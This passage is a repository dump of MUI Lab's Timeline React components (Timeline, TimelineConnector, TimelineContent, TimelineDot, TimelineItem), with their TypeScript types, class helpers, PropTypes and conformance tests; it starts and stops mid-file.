styles[convertTimelinePositionToClass(ownerState.position) as TimelineClassKey],\n    ];\n  },\n})<{ ownerState: OwnerState }>({\n  display: 'flex',\n  flexDirection: 'column',\n  padding: '6px 16px',\n  flexGrow: 1,\n});\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [Timeline API](https://next.mui.com/material-ui/api/timeline/)\n */\nconst Timeline = React.forwardRef<HTMLUListElement, TimelineProps>(function Timeline(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTimeline' });\n  const { position = 'right', className, ...other } = props;\n  const ownerState = { ...props, position };\n  const classes = useUtilityClasses(ownerState);\n\n  const contextValue = React.useMemo(() => ({ position }), [position]);\n\n  return (\n    <TimelineContext.Provider value={contextValue}>\n      <TimelineRoot\n        className={clsx(classes.root, className)}\n        ownerState={ownerState}\n        ref={ref}\n        {...other}\n      />\n    </TimelineContext.Provider>\n  );\n}) as React.ForwardRefExoticComponent<TimelineProps & React.RefAttributes<HTMLUListElement>>;\n\nTimeline.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * className applied to the root element.\n   */\n  className: PropTypes.string,\n  /**\n   * The position where the TimelineContent should appear relative to the time axis.\n   * @default 'right'\n   */\n  position: PropTypes.oneOf(['alternate-reverse', 'alternate', 'left', 'right']),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n} as any;\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://mui.com/components/timeline/)\n *\n * API:\n *\n * - [Timeline API](https://mui.com/api/timeline/)\n */\nexport default Timeline;\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/Timeline.types.ts",
    "content": "import { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport { TimelineClasses } from './timelineClasses';\n\nexport interface TimelineProps extends StandardProps<React.ComponentProps<'ul'>> {\n  /**\n   * The position where the TimelineContent should appear relative to the time axis.\n   * @default 'right'\n   */\n  position?: 'left' | 'right' | 'alternate' | 'alternate-reverse' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineClasses> | undefined;\n  /**\n   * className applied to the root element.\n   */\n  className?: string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/TimelineContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n */\nconst TimelineContext = React.createContext({});\n\nif (process.env.NODE_ENV !== 'production') {\n  TimelineContext.displayName = 'TimelineContext';\n}\n\nexport default TimelineContext;\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/index.ts",
    "content": "export { default } from './Timeline';\nexport * from './Timeline.types';\n\nexport { default as timelineClasses } from './timelineClasses';\nexport * from './timelineClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/Timeline/timelineClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"left\"`. */\n  positionLeft: string;\n  /** Styles applied to the root element if `position=\"right\"`. */\n  positionRight: string;\n  /** Styles applied to the root element if `position=\"alternate\"`. */\n  positionAlternate: string;\n  /** Styles applied to the root element if `position=\"alternate-reverse\"`. */\n  positionAlternateReverse: string;\n}\n\nexport type TimelineClassKey = keyof TimelineClasses;\n\nexport function getTimelineUtilityClass(slot: string) {\n  return generateUtilityClass('MuiTimeline', slot);\n}\n\nconst timelineClasses: TimelineClasses = generateUtilityClasses('MuiTimeline', [\n  'root',\n  'positionLeft',\n  'positionRight',\n  'positionAlternate',\n  'positionAlternateReverse',\n]);\n\nexport default timelineClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/TimelineConnector.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport { TimelineConnectorClasses } from './timelineConnectorClasses';\n\nexport interface TimelineConnectorProps extends StandardProps<\n  React.HTMLAttributes<HTMLSpanElement>\n> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineConnectorClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineConnector API](https://next.mui.com/material-ui/api/timeline-connector/)\n */\nexport default function TimelineConnector(props: TimelineConnectorProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/TimelineConnector.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport { getTimelineConnectorUtilityClass } from './timelineConnectorClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTimelineConnectorUtilityClass, classes);\n};\n\nconst TimelineConnectorRoot = styled('span', {\n  name: 'MuiTimelineConnector',\n  slot: 'Root',\n})(({ theme }) => {\n  return {\n    width: 2,\n    backgroundColor: (theme.vars || theme).palette.grey[400],\n    flexGrow: 1,\n  };\n});\n\nconst TimelineConnector = React.forwardRef(function TimelineConnector(inProps, ref) {\n  const props = useThemeProps({\n    props: inProps,\n    name: 'MuiTimelineConnector',\n  });\n\n  const { className, ...other } = props;\n\n  const ownerState = props;\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TimelineConnectorRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nTimelineConnector.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TimelineConnector;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/TimelineConnector.test.js",
    "content": "import { createRenderer } from '@mui/internal-test-utils';\nimport TimelineConnector, { timelineConnectorClasses as classes } from '@mui/lab/TimelineConnector';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineConnector />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineConnector />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiTimelineConnector',\n    refInstanceof: window.HTMLSpanElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/index.d.ts",
    "content": "export { default } from './TimelineConnector';\nexport * from './TimelineConnector';\n\nexport { default as timelineConnectorClasses } from './timelineConnectorClasses';\nexport * from './timelineConnectorClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/index.js",
    "content": "export { default } from './TimelineConnector';\n\nexport { default as timelineConnectorClasses } from './timelineConnectorClasses';\nexport * from './timelineConnectorClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineConnector/timelineConnectorClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineConnectorClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TimelineConnectorClassKey = keyof TimelineConnectorClasses;\n\nexport function getTimelineConnectorUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineConnector', slot);\n}\n\nconst timelineConnectorClasses: TimelineConnectorClasses = generateUtilityClasses(\n  'MuiTimelineConnector',\n  ['root'],\n);\n\nexport default timelineConnectorClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/TimelineContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '@mui/material/styles';\nimport { TypographyProps } from '@mui/material/Typography';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { TimelineContentClasses } from './timelineContentClasses';\n\nexport interface TimelineContentProps extends StandardProps<TypographyProps> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineContentClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineContent API](https://next.mui.com/material-ui/api/timeline-content/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\nexport default function TimelineContent(props: TimelineContentProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/TimelineContent.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Typography from '@mui/material/Typography';\nimport TimelineContext from '../Timeline/TimelineContext';\nimport { getTimelineContentUtilityClass } from './timelineContentClasses';\nimport convertTimelinePositionToClass from '../internal/convertTimelinePositionToClass';\n\nconst useUtilityClasses = (ownerState) => {\n  const { position, classes } = ownerState;\n\n  const slots = {\n    root: ['root', convertTimelinePositionToClass(position)],\n  };\n\n  return composeClasses(slots, getTimelineContentUtilityClass, classes);\n};\n\nconst TimelineContentRoot = styled(Typography, {\n  name: 'MuiTimelineContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [styles.root, styles[convertTimelinePositionToClass(ownerState.position)]];\n  },\n})(({ ownerState }) => ({\n  flex: 1,\n  padding: '6px 16px',\n  textAlign: 'left',\n  ...(ownerState.position === 'left' && {\n    textAlign: 'right',\n  }),\n}));\n\nconst TimelineContent = React.forwardRef(function TimelineContent(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTimelineContent' });\n  const { className, ...other } = props;\n\n  const { position: positionContext } = React.useContext(TimelineContext);\n\n  const ownerState = {\n    ...props,\n    position: positionContext || 'right',\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TimelineContentRoot\n      component=\"div\"\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nTimelineContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TimelineContent;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/TimelineContent.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography from '@mui/material/Typography';\nimport Timeline from '@mui/lab/Timeline';\nimport TimelineItem from '@mui/lab/TimelineItem';\nimport TimelineContent, { timelineContentClasses as classes } from '@mui/lab/TimelineContent';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineContent />, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiTimelineContent',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n\n  it('should have positionLeft class when inside of a left-positioned timeline', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineContent>content</TimelineContent>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionRight class when inside of a right-positioned timeline', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineContent>content</TimelineContent>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n\n  it('should have positionLeft class when inside of a left-positioned timeline and a left-positioned item', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineItem position=\"left\">\n          <TimelineContent>content</TimelineContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionLeft class when inside of a right-positioned timeline and a left-positioned item', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineItem position=\"left\">\n          <TimelineContent>content</TimelineContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionLeft);\n  });\n\n  it('should have positionRight class when inside of a left-positioned timeline and a right-positioned item', () => {\n    render(\n      <Timeline position=\"left\">\n        <TimelineItem position=\"right\">\n          <TimelineContent>content</TimelineContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n\n  it('should have positionRight class when inside of a right-positioned timeline and a right-positioned item', () => {\n    render(\n      <Timeline position=\"right\">\n        <TimelineItem position=\"right\">\n          <TimelineContent>content</TimelineContent>\n        </TimelineItem>\n      </Timeline>,\n    );\n\n    expect(screen.getByText('content')).to.have.class(classes.positionRight);\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/index.d.ts",
    "content": "export { default } from './TimelineContent';\nexport * from './TimelineContent';\n\nexport { default as timelineContentClasses } from './timelineContentClasses';\nexport * from './timelineContentClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/index.js",
    "content": "export { default } from './TimelineContent';\n\nexport { default as timelineContentClasses } from './timelineContentClasses';\nexport * from './timelineContentClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineContent/timelineContentClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"right\"`. */\n  positionRight: string;\n  /** Styles applied to the root element if `position=\"left\"`. */\n  positionLeft: string;\n  /** Styles applied to the root element if `position=\"alternate\"`. */\n  positionAlternate: string;\n  /** Styles applied to the root element if `position=\"alternate-reverse\"`. */\n  positionAlternateReverse: string;\n}\n\nexport type TimelineContentClassKey = keyof TimelineContentClasses;\n\nexport function getTimelineContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineContent', slot);\n}\n\nconst timelineContentClasses: TimelineContentClasses = generateUtilityClasses(\n  'MuiTimelineContent',\n  ['root', 'positionLeft', 'positionRight', 'positionAlternate', 'positionAlternateReverse'],\n);\n\nexport default timelineContentClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/TimelineDot.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '@mui/material/styles';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { TimelineDotClasses } from './timelineDotClasses';\n\nexport interface TimelineDotPropsVariantOverrides {}\n\nexport interface TimelineDotPropsColorOverrides {}\n\nexport interface TimelineDotProps extends StandardProps<React.HTMLAttributes<HTMLSpanElement>> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineDotClasses> | undefined;\n  /**\n   * The dot can have a different colors.\n   * @default 'grey'\n   */\n  color?:\n    | OverridableStringUnion<\n        'inherit' | 'grey' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        TimelineDotPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The dot can appear filled or outlined.\n   * @default 'filled'\n   */\n  variant?:\n    | OverridableStringUnion<'filled' | 'outlined', TimelineDotPropsVariantOverrides>\n    | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineDot API](https://next.mui.com/material-ui/api/timeline-dot/)\n */\nexport default function TimelineDot(props: TimelineDotProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/TimelineDot.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport { capitalize } from '@mui/material/utils';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { getTimelineDotUtilityClass } from './timelineDotClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, variant, classes } = ownerState;\n\n  const slots = {\n    root: ['root', variant, color !== 'inherit' && `${variant}${capitalize(color)}`],\n  };\n\n  return composeClasses(slots, getTimelineDotUtilityClass, classes);\n};\n\nconst TimelineDotRoot = styled('span', {\n  name: 'MuiTimelineDot',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[\n        ownerState.color !== 'inherit' && `${ownerState.variant}${capitalize(ownerState.color)}`\n      ],\n      styles[ownerState.variant],\n    ];\n  },\n})(({ ownerState, theme }) => ({\n  display: 'flex',\n  alignSelf: 'baseline',\n  borderStyle: 'solid',\n  borderWidth: 2,\n  padding: 4,\n  borderRadius: '50%',\n  boxShadow: (theme.vars || theme).shadows[1],\n  margin: '11.5px 0',\n  ...(ownerState.variant === 'filled' && {\n    borderColor: 'transparent',\n    ...(ownerState.color !== 'inherit' && {\n      ...(ownerState.color === 'grey'\n        ? {\n            color: (theme.vars || theme).palette.grey[50],\n            backgroundColor: (theme.vars || theme).palette.grey[400],\n          }\n        : {\n            color: (theme.vars || theme).palette[ownerState.color].contrastText,\n            backgroundColor: (theme.vars || theme).palette[ownerState.color].main,\n          }),\n    }),\n  }),\n  ...(ownerState.variant === 'outlined' && {\n    boxShadow: 'none',\n    backgroundColor: 'transparent',\n    ...(ownerState.color !== 'inherit' && {\n      ...(ownerState.color === 'grey'\n        ? {\n            borderColor: (theme.vars || theme).palette.grey[400],\n          }\n        : {\n            borderColor: (theme.vars || theme).palette[ownerState.color].main,\n          }),\n    }),\n  }),\n}));\n\nconst TimelineDot = React.forwardRef(function TimelineDot(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTimelineDot' });\n  const { className, color = 'grey', variant = 'filled', ...other } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TimelineDotRoot\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    />\n  );\n});\n\nTimelineDot.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The dot can have a different colors.\n   * @default 'grey'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'error',\n      'grey',\n      'info',\n      'inherit',\n      'primary',\n      'secondary',\n      'success',\n      'warning',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The dot can appear filled or outlined.\n   * @default 'filled'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['filled', 'outlined']),\n    PropTypes.string,\n  ]),\n};\n\nexport default TimelineDot;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/TimelineDot.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport TimelineDot, { timelineDotClasses as classes } from '@mui/lab/TimelineDot';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TimelineDot />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<TimelineDot />, () => ({\n    classes,\n    inheritComponent: 'span',\n    render,\n    muiName: 'MuiTimelineDot',\n    refInstanceof: window.HTMLSpanElement,\n    testVariantProps: { color: 'secondary', variant: 'outlined' },\n    skip: ['componentProp'],\n  }));\n\n  it('should render with color inherit', () => {\n    expect(() =>\n      render(\n        <React.Fragment>\n          <TimelineDot color=\"inherit\" />\n          <TimelineDot variant=\"outlined\" color=\"inherit\" />\n        </React.Fragment>,\n      ),\n    ).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/color-palette-prop.spec.tsx",
    "content": "import TimelineDot from '@mui/lab/TimelineDot';\n\nfunction TestBaseColorPaletteProp() {\n  const baseColorPalette = ['primary', 'secondary', 'error', 'info', 'success', 'warning'] as const;\n  return (\n    <div>\n      {baseColorPalette.map((color) => (\n        <div key={color}>\n          <TimelineDot color={color} />\n        </div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/index.d.ts",
    "content": "export { default } from './TimelineDot';\nexport * from './TimelineDot';\n\nexport { default as timelineDotClasses } from './timelineDotClasses';\nexport * from './timelineDotClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/index.js",
    "content": "export { default } from './TimelineDot';\n\nexport { default as timelineDotClasses } from './timelineDotClasses';\nexport * from './timelineDotClasses';\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineDot/timelineDotClasses.ts",
    "content": "import generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface TimelineDotClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `color=\"grey\"` and `variant=\"filled\"`. */\n  filledGrey: string;\n  /** Styles applied to the root element if `color=\"grey\"` and `variant=\"outlined\"`. */\n  outlinedGrey: string;\n  /** Styles applied to the root element if `color=\"primary\"` and `variant=\"filled\"`. */\n  filledPrimary: string;\n  /** Styles applied to the root element if `color=\"primary\"` and `variant=\"outlined\"`. */\n  outlinedPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"` and `variant=\"filled\"`. */\n  filledSecondary: string;\n  /** Styles applied to the root element if `color=\"secondary\"` and `variant=\"outlined\"`. */\n  outlinedSecondary: string;\n}\n\nexport type TimelineDotClassKey = keyof TimelineDotClasses;\n\nexport function getTimelineDotUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTimelineDot', slot);\n}\n\nconst timelineDotClasses: TimelineDotClasses = generateUtilityClasses('MuiTimelineDot', [\n  'root',\n  'filled',\n  'outlined',\n  'filledGrey',\n  'outlinedGrey',\n  'filledPrimary',\n  'outlinedPrimary',\n  'filledSecondary',\n  'outlinedSecondary',\n]);\n\nexport default timelineDotClasses;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/TimelineItem.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '@mui/material/styles';\nimport { InternalStandardProps as StandardProps } from '@mui/material/internal';\nimport { TimelineItemClasses } from './timelineItemClasses';\n\nexport interface TimelineItemProps extends StandardProps<React.HTMLAttributes<HTMLDivElement>> {\n  /**\n   * The position where the timeline's item should appear.\n   */\n  position?: 'left' | 'right' | 'alternate' | 'alternate-reverse' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TimelineItemClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Timeline](https://next.mui.com/material-ui/react-timeline/)\n *\n * API:\n *\n * - [TimelineItem API](https://next.mui.com/material-ui/api/timeline-item/)\n */\nexport default function TimelineItem(props: TimelineItemProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-lab/src/TimelineItem/TimelineItem.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { isMuiElement } from '@mui/material/utils';\nimport { styled, useThemeProps } from '@mui/material/styles';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { timelineContentClasses } from '../TimelineContent';\nimport { timelineOppositeContentClasses } from '../TimelineOppositeContent';\nimport TimelineContext from '../Timeline/TimelineContext';\nimport { getTimelineItemUtilityClass } from './timelineItemClasses';\nimport convertTimelinePositionToClass from '../internal/convertTimelinePositionToClass';\n\nconst useUtilityClasses = (ownerState) => {\n  const { position, classes, hasOppositeContent } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      convertTimelinePositionToClass(position),\n      !hasOppositeContent && 'missingOppositeContent',\n    ],\n  };\n\n  return composeClasses(slots, getTimelineItemUtilityClass, classes);\n};\n\nconst TimelineItemRoot = styled('li', {\n  name: 'MuiTimelineItem',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[convertTimelinePositionToClass(ownerState.position)]];\n  },\n})(({ ownerState }) => ({\n  listStyle: 'none',\n  display: 'flex',\n  position: 'relative',\n  minHeight: 70,\n  ...(ownerState.position === 'left' && {\n    flexDirection: 'row-reverse',\n  }),\n  ...((ownerState.position === 'alternate' || ownerState.position === 'alternate-reverse') && {\n    [`&:nth-of-type(${ownerState.position === 'alternate' ? 'even' : 'odd'})`]: {\n      flexDirection: 'row-reverse',\n      [`& .${timelineContentClasses.root}`]: {\n        textAlign: 'right',\n      },\n      [`& .${timelineOppositeContentClasses.root}`]: {\n        textAlign: 'left',\n      },\n    },\n  }),\n  ...(!ownerState.hasOppositeContent && {\n    '&::before': {\n      content: '\"\"',\n      flex: 1,\n      padding: '6px 16px',\n    },\n  }),\n}));\n\nconst TimelineItem = React.forwardRef(function TimelineItem(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiTimelineItem' });\n  const { position: positionProp, className, ...other } = props;\n  const { position: positionContext } = React.useContext(TimelineContext);\n\n  let hasOppositeContent = false;\n\n  React.Children.forEach(props.children, (child) => {\n    if (isMuiElement(child, ['TimelineOppositeContent'])) {\n      hasOppositeContent = true;\n    }\n  });\n\n  const ownerState = {\n    ...props,\n    position: positionProp || positionContext || 'right',\n    hasOppositeContent,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const contextValue = React.useMemo(\n    () => ({ position: ownerState.position }),\n    [ownerState.position],\n  );\n\n  return (\n    <TimelineContext.Provider value={contextValue}>\n      <TimelineItemRoot\n        className={clsx(classes.root, className)}\n        ownerState={ownerState}\n        ref={ref}\n        {...other}\n      />\n    </TimelineContext.Provider>\n  );\n});\n\nTimelineItem.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n 